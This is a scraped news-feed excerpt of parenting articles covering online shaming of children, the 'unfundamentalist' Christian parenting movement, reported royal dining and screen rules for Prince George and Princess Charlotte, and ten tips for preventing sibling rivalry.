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]]> https://briefnews.eu/parenting-mums-battle-over-being-a-high-flying-career-woman-and-hands-on-mum/feed/ 0 Online shaming by parents a form of bullying, parenting expert says https://briefnews.eu/online-shaming-by-parents-a-form-of-bullying-parenting-expert-says/ https://briefnews.eu/online-shaming-by-parents-a-form-of-bullying-parenting-expert-says/#respond Sun, 01 Apr 2018 22:44:21 +0000 http://briefnews.eu/online-shaming-by-parents-a-form-of-bullying-parenting-expert-says/ Harrow mom makes kids walk as punishment

It might be called the “shame game” — a parent embarrassing a child on social media as a way of disciplining them for bad behaviour with the hope they will learn their lesson and mend their ways.

]]> https://briefnews.eu/online-shaming-by-parents-a-form-of-bullying-parenting-expert-says/feed/ 0 The Rise of Unfundamentalist Parenting https://briefnews.eu/the-rise-of-unfundamentalist-parenting/ https://briefnews.eu/the-rise-of-unfundamentalist-parenting/#respond Tue, 20 Mar 2018 05:14:12 +0000 http://briefnews.eu/the-rise-of-unfundamentalist-parenting/

For several summers in my preteen years my parents sent me to church camp. My parents weren’t particularly religious, but I guess they thought that a little outdoor socialization would do their bookish daughter good, and for the most part they were right. Though some activities were imbued with a very gentle Christian message, and campfire prayer meetings were held each night, the camp always seemed more focused on nature and exercise rather than creating an army of God.

Then, a fundamentalist preacher took over as head counselor. A tall, severe-looking man, he presided over the campfire prayer circles with a threatening brand of absolute biblical certainty. He often demanded those of us with doubts to admit to sinful thoughts, and assured us that all nonbelievers, Mahatma Gandhi included, would burn forever in hell. One day he told us, the flames of the campfire reflecting off his face, that should he take a machine gun and shoot us all as we left church, he would be “doing us a favor” because we would all go straight to heaven. He may have been particularly extreme; however now, a nascent but fast-growing movement is trying to offer an unconventional challenge to this fundamentalist approach to raising kids.

You don’t need to invoke the name of Jesus to act Christ-like.

Cindy Brandt, a founder of the unfundamentalist parenting movement

The new school of Christian parenting referred to as “unfundamentalist” believes that children who grow up in fundamentalist evangelical environments are almost constantly plagued with fear and guilt. Spearheaded by Taiwanese progressive Christian blogger Cindy Brandt, unfundamentalist parenting rebukes “fundamentalists who control children under the guise of religion.” In place of an emphasis on extreme obedience and the use of guilt and fear to “evangelize” children, unfundamentalist parents attempt to foster a gentle, loving relationship between their children and Christianity. Progressive Christian parents are deeply cognizant of the power imbalance between parents and children, and do not take advantage of their kids’ trust by frightening them into belief with tales of sin and hell.

And it seems more and more people are getting drawn to this approach: The Unfundamentalist Facebook page today has more than 124K followers. The Raising Children Unfundamentalist group, started just two years ago by Brandt, now has more than 11,000 members. Six years ago, in 2012, the term unfundamentalist was relatively unknown, drumming up a mere 76 hits in a Google search as compared to 8,620 hits in 2018.

“We are a large group of people from across the country trying to raise a new generation of evangelicals who will actually do as Jesus instructed — to love the least of these, to put value on relationships instead of material and to give more than we receive,” says Raising Children Unfundamentalist group member and mother of three Jessy Hudgens Milicevic.

Proponents of unfundamentalist parenting say it was born of a growing movement on the part of progressive Christians to “reclaim” evangelism, or the commitment to publicly preach and spread the gospel of Jesus Christ. “[W]hen you start at the place where your God-made flesh is hanging out with prostitutes, tax collectors and drunks, and who also spends a great deal of time chastising the religious moralist of his time, the rules begin to change,” explains Andrew Shipley, teaching pastor at Missiongathering church in Charlotte, North Carolina. “Instead of a who-is-in-and-who-is-out mentality, [progressive evangelism] is about how many people can we let in.”

The movement has its critics. “Any movement that primarily characterizes itself by using the negating prefix ‘un’ is [in my view] a reaction to a movement and not a movement itself,” says Tyler Parson, pastor at CrossRidge Evangelical Free Church in Holstein, Iowa. “[To] paraphrase Nelson Mandela, at some point we all have to with conviction live for something and not just react against some things.”

But for many, the unfundamentalist parenting movement has grown out of personal experiences. Brandt, who grew up in predominantly Buddhist Taiwan and was sent to a Christian missionary school, spent her childhood terrified of the concept of eternal damnation. She realized later that the messages conveyed to her by the American missionaries at the school were partially rooted in sexism, racism and homophobia, a personal issue for Brandt, as her brother is a member of the LGBTQ community. “In the American context, a lot of Christianity is tied up in culture wars that lead to indoctrination into those positions in parenting,” Brandt says. Often, she says, these positions tie in with an anti-abortion, anti-gay and anti-science conservative political agenda. In 2013, the book To Train Up a Child by Michael and Debi Pearl — an extreme fundamentalist parenting guide — faced a backlash after some reports linked it to the deaths of three children.

But despite its challenging tenor, unfundamentalist parenting may share, in a far gentler way, one end with the fundamentalists: the propagation of the Christian religion. After all, you catch more flies with honey than vinegar. America has witnessed a sharp decline in church attendance — according to the Hartford Institute for Religion Research, more than 4,000 churches close their doors every year due to lack of attendance. Unfundamentalism could represent a change in tactics designed to draw in followers.

Still, Brandt and many other unfundamentalists all espouse an unambiguously pro-science, pro-equality and anti-judgment message. “Instead of defending Christianity, advocate for those who are hurt by the hateful rhetoric,” says Brandt. “Stand up against bigotry, do better and create safe spaces for those who are most marginalized. You don’t need to invoke the name of Jesus to act Christ-like.”

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]]> https://briefnews.eu/the-rise-of-unfundamentalist-parenting/feed/ 0 Kate Middleton: Royal parenting rule means Prince George can't finish meals if THIS occurs https://briefnews.eu/kate-middleton-royal-parenting-rule-means-prince-george-cant-finish-meals-if-this-occurs/ https://briefnews.eu/kate-middleton-royal-parenting-rule-means-prince-george-cant-finish-meals-if-this-occurs/#respond Fri, 16 Mar 2018 14:19:39 +0000 http://briefnews.eu/kate-middleton-royal-parenting-rule-means-prince-george-cant-finish-meals-if-this-occurs/

Kate Middleton, 36, and Prince William, 35, are said to have special parenting rules for their two children, Prince George, 4, and Princess Charlotte, 2, which are linked to royal protocol.

Prince George and Princess Charlotte are encouraged to follow the same royal dining rules as the rest of the royal family, according to OK.co.uk.

This means not beginning their meals until Her Majesty The Queen has started eating herself.

It also means members of the family must stop eating when the Queen stops eating, and this rule applies even if the monarch still has food left on her plate.

While the couple have the help of a nanny for the children, Maria Teresa Turrion Borallo, it is believed they are also very active parents.

Kate Middleton’s parenting rules

This is not the only parenting rule the children are expected to follow. According to US Weekly, they are forbidden from using a popular item in the family home.

That item is an iPad, which children often use to play virtual games on for amusement or for education – however, it seems the royal couple are not fans of this practice.

This is because Kate and Prince William prefer the two children to use their “imaginations” to amuse themselves, rather than a screen, a source told US Weekly.

“As two people who grew up without gadgets for entertainment themselves, William and Kate are firm believers in toys, outdoor play and encouraging an active imagination.”

Another rule the children are said to follow at home is not opening all of their Christmas presents that they are sent.

The children are of course allowed to open some of their presents during the royal festive celebrations at Sandringham.

However, it is believed the children are sent thousands of presents from around the globe from royal fans and well wishers.

Many of these presents are then donated to charity for those less fortunate, a spokesperson from Kensington Palace has previously confirmed.

When is Kate’s third child due?

It is believed Kate Middleton’s due date for her third child– whose gender is unknown – in late April this year.

The Duchess’ bump has been clearly visible during her last few public appearances, indicating the baby’s birth is fast approaching.

However, there is a possibility if her baby is a little later than expected then the due date may coincide with Princess Charlotte’s birthday on May 2.

It’s expected Kate will pack up her royal duties around one month before her due date, judging by what she did with Prince George and Princess Charlotte.

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]]> https://briefnews.eu/kate-middleton-royal-parenting-rule-means-prince-george-cant-finish-meals-if-this-occurs/feed/ 0 Sibling Rivalry: The 10 Best Tips to Prevent this Parenting Nemesis https://briefnews.eu/sibling-rivalry-the-10-best-tips-to-prevent-this-parenting-nemesis/ https://briefnews.eu/sibling-rivalry-the-10-best-tips-to-prevent-this-parenting-nemesis/#respond Fri, 09 Mar 2018 04:16:23 +0000 http://briefnews.eu/sibling-rivalry-the-10-best-tips-to-prevent-this-parenting-nemesis/

The parental headache of sibling rivalry begins in childhood. It can carry far beyond those formative years and into adulthood with all kinds of problems years down the road, such as who gets to spend family holidays with the parents each year, family wars over parental estates and decades of competition over who is more successful.

The way to combat against sibling rivalry is to deal with it head on before your second child is even born. You head off the issue before it even begins, by helping them form loving and supportive relationships rather than competitive based relationships.

Helping children forage relationships that are unstoppable rivers of love and support is possible. Every parent dreams of their children having life long lasting relationships that are the greatest support system for one another. The reality is that this can happen, but parents must help facilitate these relationships early on and help the children build love, support, and comradery that can last for a lifetime.

Here are the top 10 tips on thwarting sibling rivalry and instead create loving sibling relationships.

1. Create a positive relationship before the second child is even born

If you had a pet before your first child was born, you probably recall worrying about how your pet would react to the baby. You may have even googled how to best help your dog or cat prepare for the baby to come.

We owned two dogs before our first child was born. I actually bought a book on how to prepare the pet for the new baby. I recall one tip was to have a blanket that the baby used at the hospital to be brought home for the dog to sniff and lay it in the dog’s bed, so the dog can become familiar with the new scent. We actually did this.

Parents go through great measures to make sure that even their pets get along with the new baby and take measures to help facilitate a good start in their relationships, so the family can be harmonious and happy. The same should apply with other children in the home.

When a new sibling is on the way, we need to do more than simply wish and hope that they love the new baby and don’t develop a jealousy complex. Deal with the issue before it even begins. There are some practical ways that you can help your child prepare for their new sibling so that they feel they are part of the process. You want the current child to welcome the new baby so warmly that they feel that the baby is theirs in a way that makes them want to be protective and caring for the new life that is coming into your home soon.

Here are some of those practical tips:

Help the child feel a part ownership of the new baby, much like you do as parents

Refer to baby as “our baby” or even “your baby”. We did this with our daughter when we were expecting our twins. She wasn’t quite two years old when they were born and now at six years old she still refers to the twins as hers. It was quite effective in helping her accept them from the start, because they were her babies, not just Mommy or Daddy’s babies.

Include the child in the physical process

Let your child touch your belly to feel the baby inside you. Also allow the child to go to ultrasounds where they can see the baby on a screen. It becomes more real and you can create excitement in this experience you have together.

Get some siblings books

Go to the library or shop for children’s books on the topic of babies and having a new sibling. These can help the child learn more about what Mommy is experiencing, as well as an explanation of what it will be like to have a new baby in the home after they are born.

Allow them to get involved in choosing names

If they’re old enough, ask for their suggestions, talk about the names you are narrowing it down to, and discuss these things as a family. What a powerful thing for a child to have been a part of the process of naming their new brother or sister! Again, it helps create a sense of ownership with their new sibling on the way.

Get them involved in preparing stuff for the baby

Allow the child to be a part of creating the nursery, or picking out toys and clothes for the new baby. The more you include them in this process, the more they are going to feel that they are a part of this baby’s new life and feel an ownership or responsibility toward the baby.

Talk with them about their feelings

It is normal to feel some apprehension or even jealousy. The parental attention is shifting. Babies require a lot of attention. This is why you want to include them in on everything as much as possible. That way they aren’t feel left out and ignored. Their feelings should be expressed in a healthy manner, so having a conversation on their eye level and allowing them to say what they are feeling is very important.

Make the child a helper and a part of everyday activities when the baby arrives

This way they are not separated from the baby and the new experiences that Mom and Dad are having. Instead they are “Second Mommy” as my daughter referred to herself after our twins were born. They were “her twins”, so she wanted to help change them, feed them, rock them, and entertain them.

Of course when young kids are trying to help, their “help” can create more work for the parents at times, but that’s ok. You are supporting good helper attitudes and behaviors that facilitate them connecting with the baby and the activity surrounding the baby all day long.

This will also foster a positive start to their sibling relationship, as they learn early that they are supposed to help one another. Baby can’t help just yet, but will eventually become old enough to some day help older siblings too and you can remind your child of this fact as well.

2. Treat children equitably

This does not mean that you do things same for every child in the home. Each child is different and will want different things, but will also need different treatment at times. The key is to maintain a balance of fairness so that the level of attention and monetary spending in equal among all of the children over time. The term for this is equitable. The dictionary defines equitable as:

Characterized by equity or fairness; just and right; fair; reasonable: equitable treatment of all citizens.

Our children need to be treated fairly, reasonably, and in a manner that provides for each of their needs and wants individual; without giving favor to one child over another. Kids don’t need the same gifts for holidays. Instead get the items that each child wants, but spending the same amount on each child. That way children know that even if the items are different, they are being treated fairly, as equals in the family.

There will be times when one child gets to do special things with a parent, the other children in the family may become jealous, so be prepared to explain in advance that their time will come too for this special time. Make sure you follow through and provide that special time for the other children, otherwise resentments can begin to form.

A good example of equitable treatment is bedtime. Children at different ages often require different bedtimes. You enforce the bedtimes equally and the bedtimes are fair for each of their ages. The times are however different because they need to be different for their ages and sleep needs. It is treating them the same even though their times are different.

Children understand fairness. It is innate to them. Keep things fair and you will be less likely to create growing resentments between kids when things aren’t equal. As long as each child is being treated fairly, they will respect your decisions in the long right. Maybe not right away, but over time they will. Fairness is wired into their brains, so try to be as fair as possible to prevent sibling rivalry.

3. Don’t play the favorites game

Don’t ever allow your children to think that you have a favorite. I know that many parents think it is sometimes humorous to joke about these things because you do have one child that is perhaps more compliant or certainly easier to parent than the other children.

However, you can’t allow yourself to ever say that you have a favorite because this term is interpreted as love. You child will think “because Daddy said that Charlotte is his favorite today, he loves her more.” That is sad to think your child will feel that they are less loved because of favoritism, but this is simply how they think.

Use the phrase “you are all my favorite” and stick to it permanently. Let them know that they are all loved equally and that your love for each of them is huge.

4. Celebrate individuality and differences

Minimize comparisons between your children. Each child is unique and special and they should be celebrated for their individuality. Don’t compare the children to one another, because they are simply too different for comparison.

I have twins, and even they can be as different as night and day. One is tender, empathic, and sensitive. The other one is affectionate physically and loves to give me hugs and cuddle. It’s great that they are different and show love and affection differently. I praise them for each of their individual attributes and abilities. It doesn’t make one more special over the other. They are simply different and each of their differences are praised.

Your girl may be the jock and your boy may be the theatre lover. That’s ok. Don’t try to make them something that they are not. They will only resent you for trying to make them something they are not. They will become resentful of their siblings if you try to compare them to their sibling and his/her abilities, passions, or talents.

The sooner you accept your child for who they are and can come alongside them to celebrate their uniqueness the sooner the sibling will also join in with celebrating and supporting their sibling in their interests, hobbies, and passions. The goal is to facilitate support within the family and it begins with the parents as examples first and foremost.

5. Foster encouragement and not competition

Help your children become each other’s greatest support and cheerleaders. If you have kids that compete in different sports and activities, then make the time to go as a family with the other sibling(s) who are not participating so that you can collectively support each child.

Teach them to support their sibling by encouraging them to say things to their sibling such as “I hope you play great today” or “I am cheering for you to score today”. These things can make such a difference in their lasting relationships when done consistently over time.

It may not come naturally to every child, which is why you may need to be prompting them with ways to help encourage and phrases to say. They will pick it up after a few times (or more) and will begin to encourage because they see that it’s well received by their sibling and it makes you happy as a parent. What you are creating is something even bigger; which is a relationship that is built on support and encouragement.

Friendly competition in the home is a good thing, but keep at just that: friendly. When games are played in the family, children need to be taught to congratulate one another and be of encouragement and not gloating when they are winning and their sibling is on the losing end. Keep reminding them, especially when little, that not everyone can win all the time, so we want to be good sports while winning and losing. When this message is constant in your household, your children will internalize it.

Be sure your children are internalizing the right messages, the ones that draw them into closer and more supportive relationships with their siblings instead of tearing them apart because they are tearing one another down.

6. Talk about their future relationships

I like to remind my kids that I have sisters and brothers that I grew up with and they are now my kids’ aunts and uncles. I talk about the good relationships we had as kids and how we supported one another, like my sister Rachel and I helping one another prepare and compete in scholarship pageants. We were one another’s greatest supporters. I let them know that I grew up with Rachel as my best friend and that she is still my best friend because we had such a good childhood relationship. I then talk to them about how they are so lucky to have one another. Some kids don’t get siblings. They are lucky that they get one another as siblings and best friends for life.

You may call it brainwashing. I call it good parenting. Indoctrinating them with the philosophy that their siblings will be with them to love and support from cradle to grave to love is a blessing over their life.

7. Teach them to apologize and forgive

In our household, apologies are not just “I’m sorry”. The offender needs to say why they are sorry. They need to go to the child they have hurt, say why they are sorry, ask forgiveness, and then give their sibling a hug. On top of that, after the other sibling says “I forgive you,” I make them both say to one another “you are my best friend”. Again, this is a helpful reminder to each or them that they more than just siblings, they are to be life long friends.

Apologizing for the small things as kids teaches them to be more willing to apologize and forgive when much bigger offenses occur when they are grown. If they don’t learn to willingly apologize as children, they won’t be good at apologies as adults. Teaching them this valuable skill will help them be able to mend their relationships when follies between siblings happen as adults.

8. Teach them to be there for one another

Parents do not need to be the ones providing all the help, direction, and guidance in the home. Older siblings can help younger siblings. There will be times when the younger siblings can pitch in and help with the older siblings as well.

Teach children to become more dependent on one another instead of running to Mom or Dad every time they need help. This habit of helping one another, when properly instilled in children, can carry forward into adulthood.

The next time one of your littles needs their laces tied or help with putting on their jacket, ask your older child to help the younger. Make it a habit of them helping one another, so eventually it becomes instinctual to them. If Mom or Dad isn’t within view, they will begin to look to their siblings for help.

Be sure to praise your children when they help one another. Letting them know that this is the way that things should be done in the household will help encourage them to continue with this helping behavior.

Make it a positive experience instead of a demand or something they despise. Use pleasant tones when asking them to help their sibling and overly praise them for their help when they first begin. They will come to find satisfaction in helping and the reward of knowing they are doing something good and meaningful for someone else in the household will keep them helping in the future. It will also give them a sense of confidence in their ability to help and a greater sense of belongingness in the family as they are needed by others.

9. Zero tolerance for hate language

Words can hurt to the core. They can do more damage than physical harm. Do not allow your children to get in the habit of calling one another names or picking on one another. It should be household rules that no warning is even needed when this rule is not followed. If a parent hears language that is hateful or tears down another in the family, there is immediate consequence. They will learn quickly that mean words are not tolerated in the home.

Start this policy when they are young, because the older they get the meaner and smarter they can get. Prevent it from escalating in the future to bigger, meaner, and more targeted hateful talk.

Teach them to talk to one another with positive and uplifting words. If they have a habit of saying mean things, then turn it around. Make dinner time an opportunity for everyone to go around the table and say a compliment about the person on their left and then to the person on their right. It helps to create kinder hearts and minds when positive words are spoken aloud to one another.

Make it happen, even if it has to be done as a planned activity around the dinner table or during a car ride. It will create a lasting effect on their heart to hear positive words from their siblings.

10. Teach them to resolve their own conflicts

If your kids come to you for every tiny infraction they inflict on one another, then they are not actively resolving their own conflicts. Teach them how to think about how they want to solve their problems with one another. They can learn to negotiate their sides and come to a fair resolution.

It won’t happen overnight, but with some parental help in getting them started in this process of conflict resolution thinking, they will soon learn to do it on their own. There are times when it is a safety issue and parental intervention is needed, but over time you will come to find that many of the small fights and arguments that your kids have all day long can be handled amongst themselves if they are properly instructed how to handle these situations.

Give them some practice help by providing options of two good ways to handle the situation and let them chose how to handle it between the two good options. This gives them the opportunity to think about the consequences and what resolution works best. For example, if my son comes to me and says his brother took his toy I can say, “how would you like to resolve the situation? Should we put the toy up for the rest of the day or should you take turns playing with the toy?”

Allowing them to decide the resolution will help prepare them for the next step which is thinking of their own possible solutions, which they can negotiate amongst themselves. It is a process of empowering your children to solve their conflicts with one another, so that you don’t have to be the go-between on every trivial matter in the household.

Someday you will be thankful you taught them to work things out for themselves, so that you aren’t getting calls to intervene in adult arguments because they don’t know how to deal with one another as adults because they never learned as kids.

Love is the key

Above all, teach your kids to love one another. Teach by example by showing love to everyone in the household.

Love is about respect, fairness, kindness, care, and commitment to being there for one another.

Teaching them to love one another before the second child is even born will create an environment of care and affection that can last a lifetime. It is never too late to start, so start these habits today to help facilitate lasting loving relationships between your kids.

Featured photo credit: pixabay via pixabay.com

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